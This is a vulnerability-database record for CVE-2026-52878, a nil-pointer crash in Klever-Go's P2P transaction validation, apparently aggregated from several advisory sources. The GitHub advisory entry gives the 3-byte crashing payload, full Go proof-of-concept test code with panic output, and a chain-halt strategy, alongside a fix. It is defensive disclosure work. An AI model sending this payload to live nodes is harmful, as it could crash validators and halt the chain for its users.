{"id":"CVE-2026-52878","revision":null,"records":[{"revision":"52aa434b069b4773a02426c56afe5c3a","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-52878","aliases":[],"title":"Klever-Go: Unauthenticated nil-pointer DoS in P2P transaction validation can halt the chain","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Versions 1.7.14 through 1.7.17 are vulnerable to a nil-pointer panic triggered by a protobuf Transaction whose embedded RawData sub-message is omitted. This omission causes RawData to decode to nil. Every transaction gossiped on the Klever-Go P2P network is decoded and validated synchronously inside the libp2p pubsub topic-validator callback, where txVersionChecker.CheckTxVersion dereferences tx.RawData.Version with no nil check. Because the libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and Klever's own network/p2p layer install no recover(), the panic propagates and crashes the entire node process. The attacker payload is a 3-byte protobuf message; no validator key, stake, funds, or on-chain account is required, and delivery aimed at enough of the BLS validator set can halt block production, resulting in a chain halt. This issue has been fixed in version 1.7.18.","state":0,"publishedAt":"2026-08-07T22:32:27.34+00:00","modifiedAt":"2026-08-10T14:16:48.518+00:00","affected":[{"ecosystem":"Vendor product","name":"klever-go","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"klever-io\",\n                    \"product\": \"klever-go\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 1.7.14, < 1.7.18\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-rm5c-5x2p-48wr","https://github.com/klever-io/klever-go/releases/tag/v1.7.18"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-52878","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-52878","identifiers":["CVE-2026-52878"]},"retained":false,"historicalAffected":[]},{"revision":"28ec5ad6cb6e4e1c9dfb7a763de26b90","observedAt":"2026-11-07T11:36:33.307+00:00","statement":{"source":"euvd","id":"EUVD-2026-54718","aliases":["CVE-2026-52878","GHSA-rm5c-5x2p-48wr"],"title":"Klever-Go is the Go implementation of the Klever blockchain protocol. Versions 1.7.14 through 1.7.17 are vulnerable to a nil-pointer panic triggered by a protobuf Transaction whose embedded RawData sub-message is omitted. This omission caus…","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Versions 1.7.14 through 1.7.17 are vulnerable to a nil-pointer panic triggered by a protobuf Transaction whose embedded RawData sub-message is omitted. This omission causes RawData to decode to nil. Every transaction gossiped on the Klever-Go P2P network is decoded and validated synchronously inside the libp2p pubsub topic-validator callback, where txVersionChecker.CheckTxVersion dereferences tx.RawData.Version with no nil check. Because the libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and Klever's own network/p2p layer install no recover(), the panic propagates and crashes the entire node process. The attacker payload is a 3-byte protobuf message; no validator key, stake, funds, or on-chain account is required, and delivery aimed at enough of the BLS validator set can halt block production, resulting in a chain halt. This issue has been fixed in version 1.7.18.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-rm5c-5x2p-48wr","https://github.com/klever-io/klever-go/releases/tag/v1.7.18"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-54718","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 7, 2026, 10:32:27 PM","dateUpdated":"Aug 10, 2026, 2:16:48 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-54718","identifiers":["EUVD-2026-54718","CVE-2026-52878","GHSA-rm5c-5x2p-48wr"]},"retained":false,"historicalAffected":[]},{"revision":"168a6f5f05eb4158a5003acc05017744","observedAt":"2026-10-25T13:17:10.707+00:00","statement":{"source":"nvd","id":"CVE-2026-52878","aliases":[],"title":"Klever-Go is the Go implementation of the Klever blockchain protocol. Versions 1.7.14 through 1.7.17 are vulnerable to a nil-pointer panic triggered by a protobuf Transaction whose embedded RawData sub-message is omitted. This omission caus…","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Versions 1.7.14 through 1.7.17 are vulnerable to a nil-pointer panic triggered by a protobuf Transaction whose embedded RawData sub-message is omitted. This omission causes RawData to decode to nil. Every transaction gossiped on the Klever-Go P2P network is decoded and validated synchronously inside the libp2p pubsub topic-validator callback, where txVersionChecker.CheckTxVersion dereferences tx.RawData.Version with no nil check. Because the libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and Klever's own network/p2p layer install no recover(), the panic propagates and crashes the entire node process. The attacker payload is a 3-byte protobuf message; no validator key, stake, funds, or on-chain account is required, and delivery aimed at enough of the BLS validator set can halt block production, resulting in a chain halt. This issue has been fixed in version 1.7.18.","state":0,"publishedAt":"2026-08-07T23:17:04.593+00:00","modifiedAt":"2026-10-24T16:10:00.153+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/klever-io/klever-go/releases/tag/v1.7.18","https://github.com/klever-io/klever-go/security/advisories/GHSA-rm5c-5x2p-48wr"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-52878","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-476"],"productCriteria":[],"sourceDates":{"published":"2026-08-07T23:17:04.593","lastModified":"2026-10-24T16:10:00.153"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-52878","identifiers":["CVE-2026-52878"]},"retained":false,"historicalAffected":[]},{"revision":"133b7d29175c47979dcf52fa0e05eac3","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-rm5c-5x2p-48wr","aliases":["CVE-2026-52878","GO-2026-5628"],"title":"Klever-Go KVM: Unauthenticated remote node crash (nil-pointer DoS) in klever-go P2P transaction interceptor (txVersionChecker nil RawData) - potential chain halt","description":"## Summary\nEvery transaction gossiped on the klever-go P2P network is decoded and validated\nsynchronously inside the libp2p pubsub topic-validator callback. The validator\n`txVersionChecker.CheckTxVersion` dereferences `tx.RawData.Version` with no nil\ncheck. A protobuf `Transaction` whose embedded `RawData` sub-message is omitted\ndecodes to `RawData == nil`, so validating it triggers a nil-pointer panic.\n\nThe libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and\nklever's own `network/p2p` layer install no `recover()`, so the panic propagates and\ncrashes the entire node process. The attacker payload is a 3-byte protobuf message;\nno validator key, stake, funds, or on-chain account is required. Aimed at enough of\nthe BLS validator set, repeated delivery halts block production (chain halt).\n\n## Affected component\n- Root cause: `core/versioning/txVersionChecker.go:22`\n- Reached via: `core/process/transaction/interceptedTransaction.go:203` (integrity) and `:154` (CheckValidity)\n- Production tx-topic path: `core/process/interceptors/multiDataInterceptor.go:171` and `:223`\n- Unprotected caller: `network/p2p/libp2p/netMessenger.go` `pubsubCallback` (no recover)\n- Topic wiring: `core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go` (`createOneTxInterceptor`)\n\n## Details\nSynchronous validation path, no recovery at any frame:\n\n```\nlibp2p pubsubCallback                              network/p2p/libp2p/netMessenger.go  (no recover)\n -> MultiDataInterceptor.ProcessReceivedMessage    core/process/interceptors/multiDataInterceptor.go:171\n   -> interceptedData(...)                          core/process/interceptors/multiDataInterceptor.go:223\n     -> InterceptedTransaction.CheckValidity         core/process/transaction/interceptedTransaction.go:154\n       -> integrity()                                core/process/transaction/interceptedTransaction.go:203\n         -> txVersionChecker.CheckTxVersion(tx)      core/versioning/txVersionChecker.go:22   <-- nil deref\n```\n\nRoot cause (`core/versioning/txVersionChecker.go`):\n```go\nfunc (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {\n\tif tx.RawData.Version < tvc.minTxVersion {   // tx.RawData is nil -> panic\n\t\treturn process.ErrInvalidTransactionVersion\n\t}\n\treturn nil\n}\n```\n\n`integrity()` calls `CheckTxVersion` as its very first statement, before any\n`RawData` nil-check, and `CheckValidity()` runs before the whitelist / originator-\nelection gate in the interceptor, so node-role and whitelist restrictions do not\nprotect this path.\n\n## Preconditions\n- Attacker runs an ordinary libp2p peer reachable to the target via normal peering /\n  kad-dht discovery on the `transactions` gossip topic.\n- Production runs with `withMessageSigning = true`, which only requires the gossip\n  message to be signed by the attacker's OWN libp2p peer key (a self-generated\n  identity; NOT a validator key, NOT funded, NOT authorized).\n- No special config or feature flag; the tx interceptor is built unconditionally and\n  subscribes to `transactions` on every node.\n\n## Impact\n- Deterministic, immediate crash of any targeted node (validator, sentry, or\n  observer) from a single ~3-byte message.\n- Gossipsub validates before relaying, so the victim does not forward the crashing\n  message; the attacker delivers it directly to each target (one tiny message/node).\n- With auto-restart (systemd), re-sending sustains the outage.\n- Directed at > 1/3 of the BLS validator set, this prevents consensus and halts the chain.\n- NOTE: the HTTP `POST /transaction/send` path is NOT crash-exploitable - the REST\n  server uses `gin.Default()` (Recovery middleware) and returns HTTP 500. The\n  exploitable vector is the P2P interceptor.\n\n## Exploit cost / attack complexity\n- Cost: negligible (one self-signed libp2p peer; 3-byte payload; no gas/capital).\n- Complexity: LOW. Unauthenticated, remote, deterministic.\n\n## PoC-Source\n\nScenario\n- Build the malicious transaction as it appears on the wire: a protobuf `Transaction`\n  with `RawData` omitted (plus a throwaway `Signature` so the batch entry looks like a\n  real tx). With the production proto marshalizer this encodes to 3 bytes\n  (`12 01 78`) and round-trips back to `RawData == nil`.\n- Feed it through the REAL production interceptors. The `transactions` gossip topic is\n  served by a `MultiDataInterceptor` (`baseInterceptorsContainerFactory.go`,\n  `createOneTxInterceptor`); the test wraps the tx in a `Batch` exactly like a bulk-tx\n  gossip message and calls `ProcessReceivedMessage`, which is precisely what the\n  panic-free libp2p `pubsubCallback` invokes in production. A second test drives the\n  generic `SingleDataInterceptor` to show the bug is in the shared validation chain.\n- The data factory is a faithful copy of the production `interceptedTxDataFactory.Create`:\n  it builds a genuine `*InterceptedTransaction`. No validation behavior is stubbed;\n  only leaf crypto/marshal helpers use the repo's own in-tree mocks. The panic occurs\n  on the first line of `integrity()`, upstream of any mock.\n\nHow to run\n1. `git clone https://github.com/klever-io/klever-go && cd klever-go`\n   (Go toolchain matching go.mod `go 1.25.7`; verified locally on go1.26.3.)\n2. Save the source below as `core/process/interceptors/poc_nil_rawdata_dos_test.go`.\n3. Run either (separately - the first panic aborts the test binary):\n   - Production tx-topic path: `go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v`\n   - Generic path:            `go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v`\n- Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only).\n\nFull PoC source (`poc_nil_rawdata_dos_test.go`):\n\n```go\n// Target component:    klever-go P2P transaction interceptor (network availability)\n//                      core/process/transaction/interceptedTransaction.go\n//                      core/versioning/txVersionChecker.go:22\n// Vulnerability type:  Unauthenticated remote Denial-of-Service (nil-pointer panic / chain-wide node crash)\n//                      CWE-476 (NULL Pointer Dereference) reached from untrusted P2P input.\n//\n// Summary:\n//   Every gossiped transaction is decoded and validated synchronously inside the\n//   libp2p pubsub topic-validator callback\n//   (network/p2p/libp2p/netMessenger.go -> pubsubCallback). That callback has NO\n//   recover(). The validation chain is:\n//\n//       (Multi|Single)DataInterceptor.ProcessReceivedMessage\n//         -> InterceptedTransaction.CheckValidity\n//           -> integrity()\n//             -> txVersionChecker.CheckTxVersion(tx)   // tx.RawData.Version  <-- nil deref\n//\n//   CheckTxVersion dereferences tx.RawData.Version with no nil guard. A protobuf\n//   Transaction whose embedded RawData message is omitted unmarshals fine (RawData==nil),\n//   so an unauthenticated peer can broadcast a few bytes that panic the validation\n//   goroutine and crash the entire node process. Repeating it against the validator\n//   set halts consensus.\n//\n// How to run:\n//   1) git clone https://github.com/klever-io/klever-go && cd klever-go\n//   2) cp <this file> core/process/interceptors/poc_nil_rawdata_dos_test.go\n//   3) go test ./core/process/interceptors/ -run TestPoC_NilRawData -v\n//\n// Expected output:\n//   The test process aborts with:\n//     panic: runtime error: invalid memory address or nil pointer dereference\n//     ... core/versioning.(*txVersionChecker).CheckTxVersion ... txVersionChecker.go:22\n//     ... InterceptedTransaction.integrity ... -> CheckValidity\n//     ... (Multi|Single)DataInterceptor.ProcessReceivedMessage\n//   i.e. the crash originates from the interceptor's synchronous message-handling frame,\n//   exactly where the panic-free libp2p pubsub callback would call it in production.\n//\n// Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only).\n\npackage interceptors_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core\"\n\t\"github.com/klever-io/klever-go/core/process\"\n\t\"github.com/klever-io/klever-go/core/process/interceptors\"\n\ttxproc \"github.com/klever-io/klever-go/core/process/transaction\"\n\t\"github.com/klever-io/klever-go/core/throttler\"\n\t\"github.com/klever-io/klever-go/core/versioning\"\n\tcryptoMock \"github.com/klever-io/klever-go/crypto/mock\"\n\t\"github.com/klever-io/klever-go/data/batch\"\n\tdataTransaction \"github.com/klever-io/klever-go/data/transaction\"\n)\n\n// buildMaliciousTxBytes returns the proto wire-bytes of a Transaction whose RawData\n// field is omitted. This is the entire attacker payload.\nfunc buildMaliciousTxBytes(t *testing.T) []byte {\n\tm := &mock.ProtoMarshalizerMock{}\n\tmaliciousTx := &dataTransaction.Transaction{ /* RawData: nil */ }\n\tbuff, err := m.Marshal(maliciousTx)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal malicious tx: %v\", err)\n\t}\n\treturn buff\n}\n\n// pocTxFactory is a faithful copy of the production interceptedTxDataFactory.Create:\n// it builds a genuine *InterceptedTransaction from the received bytes. No validation\n// behavior is stubbed; only leaf crypto/marshal helpers use the repo's standard mocks.\ntype pocTxFactory struct{}\n\nfunc (pocTxFactory) Create(buff []byte) (process.InterceptedData, error) {\n\tm := &mock.ProtoMarshalizerMock{}\n\treturn txproc.NewInterceptedTransaction(&txproc.InterceptedTransactionArgs{\n\t\tTxBuff:                 buff,\n\t\tProtoMarshalizer:       m,\n\t\tSignMarshalizer:        m,\n\t\tHasher:                 mock.HasherMock{},\n\t\tKeyGen:                 &cryptoMock.SingleSignKeyGenMock{},\n\t\tSigner:                 &cryptoMock.SignerMock{SigSizeStub: func() int { return 64 }},\n\t\tPubkeyConv:             &mock.PubkeyConverterStub{LenCalled: func() int { return 32 }},\n\t\tWhiteListerVerifiedTxs: &mock.WhiteListHandlerStub{},\n\t\tChainID:                []byte(\"chainID\"),\n\t\tTxSignHasher:           mock.HasherMock{},\n\t\tFeeHandler: &mock.FeeHandlerStub{\n\t\t\tCheckValidityTxValuesCalled: func(tx process.TransactionWithFeeHandler) (*dataTransaction.CostResponse, error) {\n\t\t\t\treturn &dataTransaction.CostResponse{}, nil\n\t\t\t},\n\t\t},\n\t\tTxVersionChecker: versioning.NewTxVersionChecker(0),\n\t\tForkController:   &mock.ForkControllerStub{},\n\t})\n}\nfunc (pocTxFactory) IsInterfaceNil() bool { return false }\n\n// TestPoC_NilRawData_MultiDataInterceptor exercises the EXACT production path for the\n// \"transactions\" gossip topic, which is served by a MultiDataInterceptor (see\n// core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go,\n// func createOneTxInterceptor).\nfunc TestPoC_NilRawData_MultiDataInterceptor(t *testing.T) {\n\tprotoMarsh := &mock.ProtoMarshalizerMock{}\n\n\t// Wrap the single malicious tx in a Batch, exactly like a bulk-tx gossip message.\n\tb := &batch.Batch{Data: [][]byte{buildMaliciousTxBytes(t)}}\n\tbatchBytes, err := protoMarsh.Marshal(b)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal batch: %v\", err)\n\t}\n\n\tth, _ := throttler.NewNumGoRoutinesThrottler(5)\n\tmdi, err := interceptors.NewMultiDataInterceptor(interceptors.ArgMultiDataInterceptor{\n\t\tTopic:            \"transactions\",\n\t\tMarshalizer:      protoMarsh,\n\t\tDataFactory:      pocTxFactory{},\n\t\tProcessor:        &mock.InterceptorProcessorStub{},\n\t\tThrottler:        th,\n\t\tAntifloodHandler: &mock.P2PAntifloodHandlerStub{},\n\t\tWhiteListRequest: &mock.WhiteListHandlerStub{},\n\t\tCurrentPeerID:    core.PeerID(\"self\"),\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"build interceptor: %v\", err)\n\t}\n\n\tmsg := &mock.P2PMessageMock{\n\t\tDataField:  batchBytes,\n\t\tTopicField: \"transactions\",\n\t\tPeerField:  core.PeerID(\"attacker\"),\n\t}\n\n\t// In production this is called by the libp2p pubsub callback, which has no recover().\n\t// The nil-pointer panic therefore propagates and crashes the node process.\n\t_ = mdi.ProcessReceivedMessage(msg, core.PeerID(\"attacker\"))\n\n\t// Only reached if the bug is fixed (CheckTxVersion guards a nil RawData).\n\tt.Log(\"no panic: node survived -> NOT vulnerable\")\n}\n\n// TestPoC_NilRawData_SingleDataInterceptor shows the same crash via the generic\n// single-item interceptor path, demonstrating the bug is in the shared validation\n// chain, not in one interceptor variant.\nfunc TestPoC_NilRawData_SingleDataInterceptor(t *testing.T) {\n\tth, _ := throttler.NewNumGoRoutinesThrottler(5)\n\tsdi, err := interceptors.NewSingleDataInterceptor(interceptors.ArgSingleDataInterceptor{\n\t\tTopic:            \"transactions\",\n\t\tDataFactory:      pocTxFactory{},\n\t\tProcessor:        &mock.InterceptorProcessorStub{},\n\t\tThrottler:        th,\n\t\tAntifloodHandler: &mock.P2PAntifloodHandlerStub{},\n\t\tWhiteListRequest: &mock.WhiteListHandlerStub{},\n\t\tCurrentPeerID:    core.PeerID(\"self\"),\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"build interceptor: %v\", err)\n\t}\n\n\tmsg := &mock.P2PMessageMock{\n\t\tDataField:  buildMaliciousTxBytes(t),\n\t\tTopicField: \"transactions\",\n\t\tPeerField:  core.PeerID(\"attacker\"),\n\t}\n\n\t_ = sdi.ProcessReceivedMessage(msg, core.PeerID(\"attacker\"))\n\tt.Log(\"no panic: node survived -> NOT vulnerable\")\n}\n```\n\n## PoC-Results\n\nResult A - production `MultiDataInterceptor` (the `transactions` gossip topic):\n```\n$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v\n=== RUN   TestPoC_NilRawData_MultiDataInterceptor\n--- FAIL: TestPoC_NilRawData_MultiDataInterceptor (0.00s)\npanic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]\n\ngoroutine 8 [running]:\npanic({0x888c00?, 0xd54d60?})\n        /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a\ngithub.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)\n        .../core/versioning/txVersionChecker.go:22 +0x4\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)\n        .../core/process/transaction/interceptedTransaction.go:203 +0x31\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)\n        .../core/process/transaction/interceptedTransaction.go:154 +0x13\ngithub.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).interceptedData(...)\n        .../core/process/interceptors/multiDataInterceptor.go:223 +0x9c\ngithub.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).ProcessReceivedMessage(...)\n        .../core/process/interceptors/multiDataInterceptor.go:171 +0x7ca\ngithub.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_MultiDataInterceptor(...)\n        .../core/process/interceptors/poc_nil_rawdata_dos_test.go:135 +0x3ef\nFAIL    github.com/klever-io/klever-go/core/process/interceptors    0.005s\nFAIL\n```\n\nResult B - generic `SingleDataInterceptor` (same root cause via the shared chain):\n```\n$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v\n=== RUN   TestPoC_NilRawData_SingleDataInterceptor\n--- FAIL: TestPoC_NilRawData_SingleDataInterceptor (0.00s)\npanic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]\n\ngoroutine 8 [running]:\npanic({0x888c00?, 0xd54d60?})\n        /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a\ngithub.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)\n        .../core/versioning/txVersionChecker.go:22 +0x4\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)\n        .../core/process/transaction/interceptedTransaction.go:203 +0x31\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)\n        .../core/process/transaction/interceptedTransaction.go:154 +0x13\ngithub.com/klever-io/klever-go/core/process/interceptors.(*SingleDataInterceptor).ProcessReceivedMessage(...)\n        .../core/process/interceptors/singleDataInterceptor.go:118 +0x12e\ngithub.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_SingleDataInterceptor(...)\n        .../core/process/interceptors/poc_nil_rawdata_dos_test.go:165 +0x2b1\nFAIL    github.com/klever-io/klever-go/core/process/interceptors    0.005s\nFAIL\n```\n\nInterpretation\n- Both runs abort the process with SIGSEGV originating at `txVersionChecker.go:22`\n  (`tx.RawData.Version`), reached through the real interceptor's synchronous\n  `ProcessReceivedMessage` frame - the exact frame the recover-free libp2p pubsub\n  callback executes in production. A recover()-less crash here = full node process exit.\n- Round-trip check (production `tools/marshal.ProtoMarshalizer`): the malicious tx is\n  3 bytes `12 01 78` and decodes to `RawData == nil`, confirming the trigger is a\n  valid, attacker-craftable wire message (not a malformed blob rejected earlier).\n\n## Suggested fix\nPrimary (root cause) - make `CheckTxVersion` nil-safe / reject `RawData == nil` early:\n```go\nfunc (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {\n\tif tx == nil || tx.RawData == nil {\n\t\treturn process.ErrInvalidTransactionVersion\n\t}\n\tif tx.RawData.Version < tvc.minTxVersion {\n\t\treturn process.ErrInvalidTransactionVersion\n\t}\n\treturn nil\n}\n```\nReturning a sentinel error here is already handled by the interceptors (they\nblacklist peers that send wrong-version transactions).\n\nDefense-in-depth:\n- Wrap the synchronous body of `pubsubCallback` (and/or `ProcessReceivedMessage`) in a\n  `recover()` so a single malformed message can never abort the process.\n- Audit the other direct `inTx.tx.RawData.*` dereferences in\n  `interceptedTransaction.go` (chainID/sender/contract/nonce/fee getters) for the same\n  nil-input class.\n\n## Duplicate check (vs published advisories)\nChecked against the 3 published advisories (GHSA-jc6w-wmfc-fh33 / CVE-2026-46403,\nGHSA-87m7-qffr-542v / CVE-2026-44697, GHSA-74m6-4hjp-7226). This is NOT a duplicate:\ndifferent root cause (nil `RawData` deref vs gzip OOM / throttler accounting / VM\nread-only isolation); the advisory texts never mention `RawData`, `CheckTxVersion`,\n`txVersionChecker`, or any nil/NULL deref. Those three advisories' fixes are already\npresent in the reviewed tree, yet `txVersionChecker.go:22` remains unpatched. It is\nadjacent in impact class (P2P interceptor DoS) to 87m7 / 74m6, referenced here for context.","state":0,"publishedAt":"2026-06-05T16:42:38+00:00","modifiedAt":"2026-06-25T23:11:42.6445645+00:00","affected":[{"ecosystem":"Go","name":"github.com/klever-io/klever-go","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.7.14"},{"kind":"fixed","version":"1.7.18"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-rm5c-5x2p-48wr","https://github.com/klever-io/klever-go","https://github.com/klever-io/klever-go/releases/tag/v1.7.18"],"sourceUrl":"https://github.com/advisories/GHSA-rm5c-5x2p-48wr","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-rm5c-5x2p-48wr","identifiers":["GHSA-rm5c-5x2p-48wr","CVE-2026-52878","GO-2026-5628"]},"retained":false,"historicalAffected":[]},{"revision":"d027fabf4b9f40f6b845bc51c62598b4","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5628","aliases":["CVE-2026-52878","GHSA-rm5c-5x2p-48wr"],"title":"Klever-Go KVM: Unauthenticated remote node crash (nil-pointer DoS) in klever-go P2P transaction interceptor (txVersionChecker nil RawData) - potential chain halt in github.com/klever-io/klever-go","description":"Klever-Go KVM: Unauthenticated remote node crash (nil-pointer DoS) in klever-go P2P transaction interceptor (txVersionChecker nil RawData) - potential chain halt in github.com/klever-io/klever-go","state":0,"publishedAt":"2026-06-25T22:34:34+00:00","modifiedAt":"2026-06-25T23:01:36.3379493+00:00","affected":[{"ecosystem":"Go","name":"github.com/klever-io/klever-go","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.7.14"},{"kind":"fixed","version":"1.7.18"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-rm5c-5x2p-48wr","https://github.com/klever-io/klever-go/releases/tag/v1.7.18"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5628","license":"OSV · upstream source license applies","key":"osv:GO-2026-5628","identifiers":["GO-2026-5628","CVE-2026-52878","GHSA-rm5c-5x2p-48wr"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.018923+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0189237+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-5978693a555a2fac0feee4f8e1cdc5e013b9a91b16046d4e34ae63a3d3db8d19","complete":true,"records":420947,"lastAttemptAt":"2026-11-07T21:52:16.4606105+00:00","lastSuccessAt":"2026-11-07T21:52:16.3995215+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.4606105+00:00","snapshotPublishedAt":"2026-11-07T21:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c91a0736a9624a48aebf081ca5dd86b2","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T22:04:27.1191985+00:00","lastSuccessAt":"2026-11-07T22:04:27.115+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:04:27.115+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.0199092+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0199095+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2b22c2d15f834007aa54c93f73b8deaf","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T21:52:42.2590883+00:00","lastSuccessAt":"2026-11-07T21:52:42.255+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:42.255+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE 